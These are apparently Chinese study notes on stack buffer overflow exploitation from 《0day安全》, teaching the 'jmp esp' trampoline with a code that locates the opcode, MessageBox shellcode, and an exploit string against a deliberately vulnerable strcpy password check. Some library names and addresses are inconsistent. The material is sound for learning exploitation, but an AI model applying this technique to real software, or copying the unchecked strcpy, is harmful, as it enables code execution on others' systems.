以jmp esp 為跳板的shellcode開發
0x00 Shellcode概述
- Shellcode與exploit
1) shellcode:緩衝區攻擊中植入程序的程式碼。進行刪改檔案、竊取資料、上傳木馬並執行、格式化硬碟等。用匯編語言編寫,並轉換成二進位制機器碼,內容和長度受到苛刻限制。
2) exploit: 漏洞利用程式,用於生成攻擊性的網路資料包或其他形式的攻擊性輸入。exploit的核心是淹沒返回地址,劫持程序控制權,跳去執行shellcode
3) 區別:shellcode具有一定的通用性,exploit針對特定漏洞
0x01 定位shellcode
漏洞利用過程中,由於動態連結庫的裝入和解除安裝等原因,Windows程序的函式棧幀可能產生移位,即shellcode在記憶體中的地址是動態變化的,因此需要exploit在執行時動態定位棧中的shellcode。
函式返回步驟
1) 儲存返回值:函式返回值儲存在EAX暫存器
2) 彈出當前棧幀,恢復上一個棧幀
a) ESP + 當前棧幀大小:堆疊平衡基礎上,降低棧頂,回收當前棧幀空間
b) POP EBP:前棧幀EBP彈給EBP,恢復上一個棧幀
c) POP EIP:函式返回地址彈給EIP
3) 跳轉:按EIP的值返回母函式繼續執行
由函式呼叫過程可知,一般情況下,ESP中地址總是指向系統棧且不會被溢位的資料破壞。函式返回時,ESP所指的位置是淹沒的返回地址的下一位(子函式平衡棧ret n時,ESP將指向下n位)。可用”jmp esp”作為跳板動態定位shellcode
1) 用記憶體中任意一個”jmp esp”的地址覆蓋返回地址
2) 函式返回後被重定向去執行記憶體中jmp esp指令
3) 由於函式返回後ESP指向返回地址後,jmp esp執行後,CPU將到棧區函式返回地址之後的地方取指令執行
4) shellcode的佈置。緩衝區前面一段用任意資料填充,把shellcode放在函式返回地址後面。jmp esp執行完就執行shellcode。獲取跳板的地址
1) 一些經常被用到的動態連結庫會被對映到記憶體,如kernel.32.dll、user32.dll會被幾乎所有程序載入,且載入基址始終相同(不同OS上可能不同)。所有這裡使用user32.dll中的jmp esp作為跳板。
2) 程式設計搜尋jmp esp的記憶體地址。搜尋得到以下地址,從中選取0x77d93acc作為定位shellcode的跳板覆蓋函式返回地址。
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
}
shellcode功能需求
1) 呼叫MessageBox實現彈窗
a) 裝載user.dll動態連結庫,MessageBox是user32.dll的匯出函式
b) 獲得函式入口地址,用Dependency Walker開啟一個圖形介面程式,找到user.dll的基址為0x77D10000,MessageBoxA的偏移地址為0x000407EA,故入口地址為0x77D507EA。
c) 向棧中壓入MessageBoxA的4個引數2) 為程式避免堆疊不平衡導致崩潰,呼叫exit函式讓程式正常退出。用Dependency Walker找出ExitProcess函式(Kernel32.dll的匯出函式)入口地址,0x7C81CDDA。
int MessageBox
( HWND, //handle to owner window
LPCTSTR, //text in message box
LPCTSTR, //message box title
UINT //message box style
)
- shellcode彙編程式碼
用EBX清零後入棧作為”failwest”截斷符是為了避免PUSH 0中的NULL,否則植入的機器碼會被strcpy函式截斷。
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 //push “failwest”
mov eax,esp //load address of failwest
push ebx // Messagebox (0,failwest,failwest,0)
push eax
push eax
push ebx
mov eax, 0x77D507EA //(0x77D804EA) address should be reset in different OS
call eax //call MessageboxA
push ebx
mov eax, 0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS
call eax //call exit(0)
}
}
- 將shellcode彙編程式碼在VC中編譯得到的.exe檔案放到OllyDbg中除錯獲得機器碼,組織好並放入exploit中。返回地址\xCC\x3A\xD9\x77前填充資料量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
#include"stdio.h"
#include"string.h"
#include <windows.h>
#define PASSWORD "1234567"
char password[1024] = "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
"\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
"\x34\x33\x32\x31\x34\x33\x32\x31\xCC\x3A\xD9\x77"
"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69"
"\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77"
"\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
int verify_password (char *password)
{
int authenticated;
char buffer[22];// add local buff
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
void main()
{
int valid_flag=0;
LoadLibrary("user32.dll");//prepare for messagebox
while(1)
{
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
break;
}
}
}
原理解釋:
1) 拷貝前後棧中變數分佈:
拷貝前:
拷貝後:
2) 函式返回到jmp esp
此時ESP的值為0x0012FB2C
3) 執行jmp esp,CPU將取shellcode指令執行
4) 執行結果:彈窗並正常退出而不報錯。
——《0day安全》學習筆記